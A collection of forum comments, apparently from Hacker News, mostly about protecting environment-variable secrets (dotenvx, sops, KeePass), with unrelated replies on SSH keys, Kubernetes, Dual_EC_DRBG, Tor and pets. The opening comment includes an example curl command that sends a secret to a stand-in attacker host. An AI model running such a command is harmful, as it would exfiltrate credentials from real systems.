How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Keepass has an option to "encrypt in memory" certain passwords, sensitive information.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
Even Keepass's "encrypt in memory" option leaves that encryption key in memory, so it can auto-type or copy passphrases into form fields. It's an extra step, but not unbreakable.
And even then the passphrase is put into form fields in plaintext, so there's *got* to be some sort of attack to grab those. They must be in memory decrypted at some point.
It always comes back round to "you can't have your cake and eat it".
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
> If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext
Same for sops.
> The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend
The encrypted .env file is actually committed to source code, and the decryption key is placed in Vercel's environment variables dashboard. The attacker only gained access to the latter here if using dotenvx so they can't get your secrets. Unless they also gained access to the codebase in which they have terabytes of data to go through and match up private keys from the database with encrypted .env files from the source code exfiltration - much more effort for attackers.
There is no silver bullet, but Dotenvx splits your secrets into two separate locations.
1. The private decryption key - which lives on Vercel in this example
2. The encrypted .env file which lives in your source code pushed to Vercel
Attackers only got access to the first (as far as I know was reported). So your secrets would be safe in this attack if using Dotenvx. (A private key is useless without its corresponding encrypted .env file. Attackers need both.)
>The nodeSelector and peerSelector for the route reflectors target the label `node-role.kubernetes.io/master`. In the 1.20 series, Kubernetes changed its terminology from “master” to “control-plane.” And in 1.24, they removed references to “master,” even from running clusters. This is the cause of our outage.
What a great case of "you're holding it wrong!" I need to add individual configuration to every host I ever want to connect to before connecting to avoid exposing all public keys on my device? What if I mistype and contact a server not my own by accident?
I have over a dozen ssh keys (one for each service and duplicates for each yubikey) and other than the 1 time I setup .ssh/config it just works.
I have the setting to only send that specific host’s identity configured or else I DoS myself with this many keys trying to sign into a computer sitting next to me on my desk through ssh.
Like I can’t imagine complaining about adding 5 lines to a config file whenever you set up a new service to ssh onto. And you can effectively copy and paste 90% of those 5 short lines, just needing to edit the hostname and key file locations.
The server matches your purposed public key with one in the authorized keys file. If you don't want to expose your raw public key to the server, you'll need to generate and send the hashed key format into the authorized keys file, which at that point is the same as just generating a new purpose built key, no? Am I missing something?
>In December 2013, a Reuters news article alleged that in 2004, before NIST standardized Dual_EC_DRBG, NSA paid RSA Security $10 million in a secret deal to use Dual_EC_DRBG as the default in the RSA BSAFE cryptography library
https://en.wikipedia.org/wiki/Dual_EC_DRBG
He uses the keys of his non-exit relay to directly connect from his workstation to an exit relay pretending to be the relay on his VPS. But yeah he could just use the VPS for wireguard which would be way easier.
I'm in Europe so I don't get less than 20Mbit/s on any circuit but I asume he could have got the same speed by just selecting a few local, fast nodes as bridge.
I had the same few years ago. When I pointed out that I can get full root with most of the whitelisted commands they answered "We know. It's not about security but to prevent lusers from accidentally rm -rf /* the server. Feel free to spawn a root shell. You obviously know what you do"
You never release exotic pets to the wild. Isn't that common knowledge by now? If you can no longer care for an animal bring it to the vet to get it euthanized.
Did you ask the bird whether it wants to be nuked by you - or, by proxy, the vet - here? I don't call murder "euthanization" - that is just propaganda to sell to yourself that you have the right to decide who lives and who does not.
Releasing it is just murder by neglect so people don't feel bad about themself that they actually killed their pet just because "they can't care" for it anymore aka they don't want to deal with the minor inconvenience of caring for a pet anymore. Or worse they become a pest that wipes out whole local ecosystems.
I doubt it's that much but with the same logic you could also ban HN, SSH and basically any protocol thats not https "with no one noticing" because 99.9+% doesnt use it.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
reply